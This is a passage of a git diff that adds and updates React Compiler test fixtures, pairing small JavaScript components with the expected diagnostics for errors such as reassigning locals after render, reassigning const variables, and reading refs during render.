+Error: Cannot reassign a `const` variable
+
+`x` is declared as const.
+
+error.invalid-reassign-const.ts:3:2
   1 | function Component() {
   2 |   const x = 0;
 > 3 |   x = 1;
-    |   ^ InvalidJS: Cannot reassign a `const` variable. `x` is declared as const (3:3)
+    |   ^ Cannot reassign a `const` variable
   4 | }
   5 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-in-hook-return-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-in-hook-return-value.expect.md
new file mode 100644
index 000000000000..8eb3f6ce6e6d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-in-hook-return-value.expect.md
@@ -0,0 +1,59 @@
+
+## Input
+
+```javascript
+function useFoo() {
+  let x = 0;
+  return value => {
+    x = value;
+  };
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot reassign variable after render completes
+
+Reassigning `x` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-in-hook-return-value.ts:4:4
+  2 |   let x = 0;
+  3 |   return value => {
+> 4 |     x = value;
+    |     ^ Cannot reassign `x` after render completes
+  5 |   };
+  6 | }
+  7 |
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `x` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-in-hook-return-value.ts:3:9
+  1 | function useFoo() {
+  2 |   let x = 0;
+> 3 |   return value => {
+    |          ^^^^^^^^^^
+> 4 |     x = value;
+    | ^^^^^^^^^^^^^^
+> 5 |   };
+    | ^^^^ This function may (indirectly) reassign or modify `x` after render
+  6 | }
+  7 |
+
+error.invalid-reassign-local-in-hook-return-value.ts:4:4
+  2 |   let x = 0;
+  3 |   return value => {
+> 4 |     x = value;
+    |     ^ This modifies `x`
+  5 |   };
+  6 | }
+  7 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-in-hook-return-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-in-hook-return-value.js
new file mode 100644
index 000000000000..64a8b3ddc9b1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-in-hook-return-value.js
@@ -0,0 +1,6 @@
+function useFoo() {
+  let x = 0;
+  return value => {
+    x = value;
+  };
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-async-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-async-callback.expect.md
new file mode 100644
index 000000000000..4e397afd6a08
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-async-callback.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+function Component() {
+  let value = null;
+  const reassign = async () => {
+    await foo().then(result => {
+      // Reassigning a local variable in an async function is *always* mutating
+      // after render, so this should error regardless of where this ends up
+      // getting called
+      value = result;
+    });
+  };
+
+  const onClick = async () => {
+    await reassign();
+  };
+  return <div onClick={onClick}>Click</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot reassign variable in async function
+
+Reassigning a variable in an async function can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-async-callback.ts:8:6
+   6 |       // after render, so this should error regardless of where this ends up
+   7 |       // getting called
+>  8 |       value = result;
+     |       ^^^^^ Cannot reassign `value`
+   9 |     });
+  10 |   };
+  11 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-async-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-async-callback.js
new file mode 100644
index 000000000000..662f19dbd88f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-async-callback.js
@@ -0,0 +1,16 @@
+function Component() {
+  let value = null;
+  const reassign = async () => {
+    await foo().then(result => {
+      // Reassigning a local variable in an async function is *always* mutating
+      // after render, so this should error regardless of where this ends up
+      // getting called
+      value = result;
+    });
+  };
+
+  const onClick = async () => {
+    await reassign();
+  };
+  return <div onClick={onClick}>Click</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-effect.expect.md
new file mode 100644
index 000000000000..1f87cf411bef
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-effect.expect.md
@@ -0,0 +1,92 @@
+
+## Input
+
+```javascript
+import {useEffect} from 'react';
+
+function Component() {
+  let local;
+
+  const reassignLocal = newValue => {
+    local = newValue;
+  };
+
+  const onMount = newValue => {
+    reassignLocal('hello');
+
+    if (local === newValue) {
+      // Without React Compiler, `reassignLocal` is freshly created
+      // on each render, capturing a binding to the latest `local`,
+      // such that invoking reassignLocal will reassign the same
+      // binding that we are observing in the if condition, and
+      // we reach this branch
+      console.log('`local` was updated!');
+    } else {
+      // With React Compiler enabled, `reassignLocal` is only created
+      // once, capturing a binding to `local` in that render pass.
+      // Therefore, calling `reassignLocal` will reassign the wrong
+      // version of `local`, and not update the binding we are checking
+      // in the if condition.
+      //
+      // To protect against this, we disallow reassigning locals from
+      // functions that escape
+      throw new Error('`local` not updated!');
+    }
+  };
+
+  useEffect(() => {
+    onMount();
+  }, [onMount]);
+
+  return 'ok';
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot reassign variable after render completes
+
+Reassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-effect.ts:7:4
+   5 |
+   6 |   const reassignLocal = newValue => {
+>  7 |     local = newValue;
+     |     ^^^^^ Cannot reassign `local` after render completes
+   8 |   };
+   9 |
+  10 |   const onMount = newValue => {
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-effect.ts:33:12
+  31 |   };
+  32 |
+> 33 |   useEffect(() => {
+     |             ^^^^^^^
+> 34 |     onMount();
+     | ^^^^^^^^^^^^^^
+> 35 |   }, [onMount]);
+     | ^^^^ This function may (indirectly) reassign or modify `local` after render
+  36 |
+  37 |   return 'ok';
+  38 | }
+
+error.invalid-reassign-local-variable-in-effect.ts:7:4
+   5 |
+   6 |   const reassignLocal = newValue => {
+>  7 |     local = newValue;
+     |     ^^^^^ This modifies `local`
+   8 |   };
+   9 |
+  10 |   const onMount = newValue => {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-effect.js
new file mode 100644
index 000000000000..c1c288846eb1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-effect.js
@@ -0,0 +1,38 @@
+import {useEffect} from 'react';
+
+function Component() {
+  let local;
+
+  const reassignLocal = newValue => {
+    local = newValue;
+  };
+
+  const onMount = newValue => {
+    reassignLocal('hello');
+
+    if (local === newValue) {
+      // Without React Compiler, `reassignLocal` is freshly created
+      // on each render, capturing a binding to the latest `local`,
+      // such that invoking reassignLocal will reassign the same
+      // binding that we are observing in the if condition, and
+      // we reach this branch
+      console.log('`local` was updated!');
+    } else {
+      // With React Compiler enabled, `reassignLocal` is only created
+      // once, capturing a binding to `local` in that render pass.
+      // Therefore, calling `reassignLocal` will reassign the wrong
+      // version of `local`, and not update the binding we are checking
+      // in the if condition.
+      //
+      // To protect against this, we disallow reassigning locals from
+      // functions that escape
+      throw new Error('`local` not updated!');
+    }
+  };
+
+  useEffect(() => {
+    onMount();
+  }, [onMount]);
+
+  return 'ok';
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-hook-argument.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-hook-argument.expect.md
new file mode 100644
index 000000000000..61b8ef46c56b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-hook-argument.expect.md
@@ -0,0 +1,93 @@
+
+## Input
+
+```javascript
+import {useEffect} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+function Component() {
+  let local;
+
+  const reassignLocal = newValue => {
+    local = newValue;
+  };
+
+  const callback = newValue => {
+    reassignLocal('hello');
+
+    if (local === newValue) {
+      // Without React Compiler, `reassignLocal` is freshly created
+      // on each render, capturing a binding to the latest `local`,
+      // such that invoking reassignLocal will reassign the same
+      // binding that we are observing in the if condition, and
+      // we reach this branch
+      console.log('`local` was updated!');
+    } else {
+      // With React Compiler enabled, `reassignLocal` is only created
+      // once, capturing a binding to `local` in that render pass.
+      // Therefore, calling `reassignLocal` will reassign the wrong
+      // version of `local`, and not update the binding we are checking
+      // in the if condition.
+      //
+      // To protect against this, we disallow reassigning locals from
+      // functions that escape
+      throw new Error('`local` not updated!');
+    }
+  };
+
+  useIdentity(() => {
+    callback();
+  });
+
+  return 'ok';
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot reassign variable after render completes
+
+Reassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-hook-argument.ts:8:4
+   6 |
+   7 |   const reassignLocal = newValue => {
+>  8 |     local = newValue;
+     |     ^^^^^ Cannot reassign `local` after render completes
+   9 |   };
+  10 |
+  11 |   const callback = newValue => {
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-hook-argument.ts:34:14
+  32 |   };
+  33 |
+> 34 |   useIdentity(() => {
+     |               ^^^^^^^
+> 35 |     callback();
+     | ^^^^^^^^^^^^^^^
+> 36 |   });
+     | ^^^^ This function may (indirectly) reassign or modify `local` after render
+  37 |
+  38 |   return 'ok';
+  39 | }
+
+error.invalid-reassign-local-variable-in-hook-argument.ts:8:4
+   6 |
+   7 |   const reassignLocal = newValue => {
+>  8 |     local = newValue;
+     |     ^^^^^ This modifies `local`
+   9 |   };
+  10 |
+  11 |   const callback = newValue => {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-hook-argument.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-hook-argument.js
new file mode 100644
index 000000000000..a14df999978a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-hook-argument.js
@@ -0,0 +1,39 @@
+import {useEffect} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+function Component() {
+  let local;
+
+  const reassignLocal = newValue => {
+    local = newValue;
+  };
+
+  const callback = newValue => {
+    reassignLocal('hello');
+
+    if (local === newValue) {
+      // Without React Compiler, `reassignLocal` is freshly created
+      // on each render, capturing a binding to the latest `local`,
+      // such that invoking reassignLocal will reassign the same
+      // binding that we are observing in the if condition, and
+      // we reach this branch
+      console.log('`local` was updated!');
+    } else {
+      // With React Compiler enabled, `reassignLocal` is only created
+      // once, capturing a binding to `local` in that render pass.
+      // Therefore, calling `reassignLocal` will reassign the wrong
+      // version of `local`, and not update the binding we are checking
+      // in the if condition.
+      //
+      // To protect against this, we disallow reassigning locals from
+      // functions that escape
+      throw new Error('`local` not updated!');
+    }
+  };
+
+  useIdentity(() => {
+    callback();
+  });
+
+  return 'ok';
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-jsx-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-jsx-callback.expect.md
new file mode 100644
index 000000000000..feb3449befb3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-jsx-callback.expect.md
@@ -0,0 +1,81 @@
+
+## Input
+
+```javascript
+function Component() {
+  let local;
+
+  const reassignLocal = newValue => {
+    local = newValue;
+  };
+
+  const onClick = newValue => {
+    reassignLocal('hello');
+
+    if (local === newValue) {
+      // Without React Compiler, `reassignLocal` is freshly created
+      // on each render, capturing a binding to the latest `local`,
+      // such that invoking reassignLocal will reassign the same
+      // binding that we are observing in the if condition, and
+      // we reach this branch
+      console.log('`local` was updated!');
+    } else {
+      // With React Compiler enabled, `reassignLocal` is only created
+      // once, capturing a binding to `local` in that render pass.
+      // Therefore, calling `reassignLocal` will reassign the wrong
+      // version of `local`, and not update the binding we are checking
+      // in the if condition.
+      //
+      // To protect against this, we disallow reassigning locals from
+      // functions that escape
+      throw new Error('`local` not updated!');
+    }
+  };
+
+  return <button onClick={onClick}>Submit</button>;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot reassign variable after render completes
+
+Reassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-jsx-callback.ts:5:4
+  3 |
+  4 |   const reassignLocal = newValue => {
+> 5 |     local = newValue;
+    |     ^^^^^ Cannot reassign `local` after render completes
+  6 |   };
+  7 |
+  8 |   const onClick = newValue => {
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-jsx-callback.ts:31:26
+  29 |   };
+  30 |
+> 31 |   return <button onClick={onClick}>Submit</button>;
+     |                           ^^^^^^^ This function may (indirectly) reassign or modify `local` after render
+  32 | }
+  33 |
+
+error.invalid-reassign-local-variable-in-jsx-callback.ts:5:4
+  3 |
+  4 |   const reassignLocal = newValue => {
+> 5 |     local = newValue;
+    |     ^^^^^ This modifies `local`
+  6 |   };
+  7 |
+  8 |   const onClick = newValue => {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-jsx-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-jsx-callback.js
new file mode 100644
index 000000000000..121495ac1e05
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-jsx-callback.js
@@ -0,0 +1,32 @@
+function Component() {
+  let local;
+
+  const reassignLocal = newValue => {
+    local = newValue;
+  };
+
+  const onClick = newValue => {
+    reassignLocal('hello');
+
+    if (local === newValue) {
+      // Without React Compiler, `reassignLocal` is freshly created
+      // on each render, capturing a binding to the latest `local`,
+      // such that invoking reassignLocal will reassign the same
+      // binding that we are observing in the if condition, and
+      // we reach this branch
+      console.log('`local` was updated!');
+    } else {
+      // With React Compiler enabled, `reassignLocal` is only created
+      // once, capturing a binding to `local` in that render pass.
+      // Therefore, calling `reassignLocal` will reassign the wrong
+      // version of `local`, and not update the binding we are checking
+      // in the if condition.
+      //
+      // To protect against this, we disallow reassigning locals from
+      // functions that escape
+      throw new Error('`local` not updated!');
+    }
+  };
+
+  return <button onClick={onClick}>Submit</button>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-variable-in-usememo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-variable-in-usememo.expect.md
new file mode 100644
index 000000000000..ba35168bcfed
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-variable-in-usememo.expect.md
@@ -0,0 +1,38 @@
+
+## Input
+
+```javascript
+function Component() {
+  let x;
+  const y = useMemo(() => {
+    let z;
+    x = [];
+    z = true;
+    return z;
+  }, []);
+  return [x, y];
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: useMemo() callbacks may not reassign variables declared outside of the callback
+
+useMemo() callbacks must be pure functions and cannot reassign variables defined outside of the callback function.
+
+error.invalid-reassign-variable-in-usememo.ts:5:4
+  3 |   const y = useMemo(() => {
+  4 |     let z;
+> 5 |     x = [];
+    |     ^ Cannot reassign variable
+  6 |     z = true;
+  7 |     return z;
+  8 |   }, []);
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-variable-in-usememo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-variable-in-usememo.js
new file mode 100644
index 000000000000..885ba4b52d5a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-variable-in-usememo.js
@@ -0,0 +1,10 @@
+function Component() {
+  let x;
+  const y = useMemo(() => {
+    let z;
+    x = [];
+    z = true;
+    return z;
+  }, []);
+  return [x, y];
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-access-render-unary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-access-render-unary.expect.md
new file mode 100644
index 000000000000..ce1be800a13b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-access-render-unary.expect.md
@@ -0,0 +1,78 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  const current = !r.current;
+  return <div>{current}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 4 errors:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+  4 | component C() {
+  5 |   const r = useRef(null);
+> 6 |   const current = !r.current;
+    |                    ^^^^^^^^^ Cannot access ref value during render
+  7 |   return <div>{current}</div>;
+  8 | }
+  9 |
+
+To initialize a ref only once, check that the ref is null with the pattern `if (ref.current == null) { ref.current = ... }`
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+  4 | component C() {
+  5 |   const r = useRef(null);
+> 6 |   const current = !r.current;
+    |                   ^^^^^^^^^^ Cannot access ref value during render
+  7 |   return <div>{current}</div>;
+  8 | }
+  9 |
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   5 |   const r = useRef(null);
+   6 |   const current = !r.current;
+>  7 |   return <div>{current}</div>;
+     |                ^^^^^^^ Cannot access ref value during render
+   8 | }
+   9 |
+  10 | export const FIXTURE_ENTRYPOINT = {
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   5 |   const r = useRef(null);
+   6 |   const current = !r.current;
+>  7 |   return <div>{current}</div>;
+     |                ^^^^^^^ Cannot access ref value during render
+   8 | }
+   9 |
+  10 | export const FIXTURE_ENTRYPOINT = {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-access-render-unary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-access-render-unary.js
new file mode 100644
index 000000000000..8d99008f805b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-access-render-unary.js
@@ -0,0 +1,13 @@
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  const current = !r.current;
+  return <div>{current}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-in-callback-invoked-during-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-in-callback-invoked-during-render.expect.md
index dd8b25e50547..df1e771fa257 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-in-callback-invoked-during-render.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-in-callback-invoked-during-render.expect.md
@@ -5,11 +5,11 @@
 // @validateRefAccessDuringRender
 function Component(props) {
   const ref = useRef(null);
-  const renderItem = (item) => {
+  const renderItem = item => {
     const current = ref.current;
     return <Foo item={item} current={current} />;
   };
-  return <Items>{props.items.map((item) => renderItem(item))}</Items>;
+  return <Items>{props.items.map(item => renderItem(item))}</Items>;
 }
 
 ```
@@ -18,10 +18,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-ref-in-callback-invoked-during-render.ts:8:33
    6 |     return <Foo item={item} current={current} />;
    7 |   };
->  8 |   return <Items>{props.items.map((item) => renderItem(item))}</Items>;
-     |                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef) (8:8)
+>  8 |   return <Items>{props.items.map(item => renderItem(item))}</Items>;
+     |                                  ^^^^^^^^^^^^^^^^^^^^^^^^ Cannot access ref value during render
    9 | }
   10 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-in-callback-invoked-during-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-in-callback-invoked-during-render.js
index df786b271af3..3474e3011363 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-in-callback-invoked-during-render.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-in-callback-invoked-during-render.js
@@ -1,9 +1,9 @@
 // @validateRefAccessDuringRender
 function Component(props) {
   const ref = useRef(null);
-  const renderItem = (item) => {
+  const renderItem = item => {
     const current = ref.current;
     return <Foo item={item} current={current} />;
   };
-  return <Items>{props.items.map((item) => renderItem(item))}</Items>;
+  return <Items>{props.items.map(item => renderItem(item))}</Items>;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-initialization-unary-not.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-initialization-unary-not.expect.md
new file mode 100644
index 000000000000..516d006c205a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-initialization-unary-not.expect.md
@@ -0,0 +1,43 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (!r.current) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+  4 | component C() {
+  5 |   const r = useRef(null);
+> 6 |   if (!r.current) {
+    |        ^^^^^^^^^ Cannot access ref value during render
+  7 |     r.current = 1;
+  8 |   }
+  9 | }
+
+To initialize a ref only once, check that the ref is null with the pattern `if (ref.current == null) { ref.current = ... }`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-initialization-unary-not.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-initialization-unary-not.js
new file mode 100644
index 000000000000..b9b5d41295cd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-initialization-unary-not.js
@@ -0,0 +1,14 @@
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (!r.current) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-value-as-props.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-value-as-props.expect.md
index 96e2ca9a1ef2..d581232b3a4d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-value-as-props.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-value-as-props.expect.md
@@ -14,10 +14,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-ref-value-as-props.ts:4:19
   2 | function Component(props) {
   3 |   const ref = useRef(null);
 > 4 |   return <Foo ref={ref.current} />;
-    |                    ^^^^^^^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef). Cannot access ref value at freeze $19:TObject<BuiltInRefValue> (4:4)
+    |                    ^^^^^^^^^^^ Cannot access ref value during render
   5 | }
   6 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-return-mutable-function-from-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-return-mutable-function-from-hook.expect.md
new file mode 100644
index 000000000000..2648398e50b5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-return-mutable-function-from-hook.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+// @validateNoFreezingKnownMutableFunctions
+import {useHook} from 'shared-runtime';
+
+function useFoo() {
+  useHook(); // for inference to kick in
+  const cache = new Map();
+  return () => {
+    cache.set('key', 'value');
+  };
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-return-mutable-function-from-hook.ts:7:9
+   5 |   useHook(); // for inference to kick in
+   6 |   const cache = new Map();
+>  7 |   return () => {
+     |          ^^^^^^^
+>  8 |     cache.set('key', 'value');
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+>  9 |   };
+     | ^^^^ This function may (indirectly) reassign or modify `cache` after render
+  10 | }
+  11 |
+
+error.invalid-return-mutable-function-from-hook.ts:8:4
+   6 |   const cache = new Map();
+   7 |   return () => {
+>  8 |     cache.set('key', 'value');
+     |     ^^^^^ This modifies `cache`
+   9 |   };
+  10 | }
+  11 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-return-mutable-function-from-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-return-mutable-function-from-hook.js
new file mode 100644
index 000000000000..3df37783dc11
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-return-mutable-function-from-hook.js
@@ -0,0 +1,10 @@
+// @validateNoFreezingKnownMutableFunctions
+import {useHook} from 'shared-runtime';
+
+function useFoo() {
+  useHook(); // for inference to kick in
+  const cache = new Map();
+  return () => {
+    cache.set('key', 'value');
+  };
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-during-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-during-render.expect.md
index 5db156842783..387dff27bf01 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-during-render.expect.md
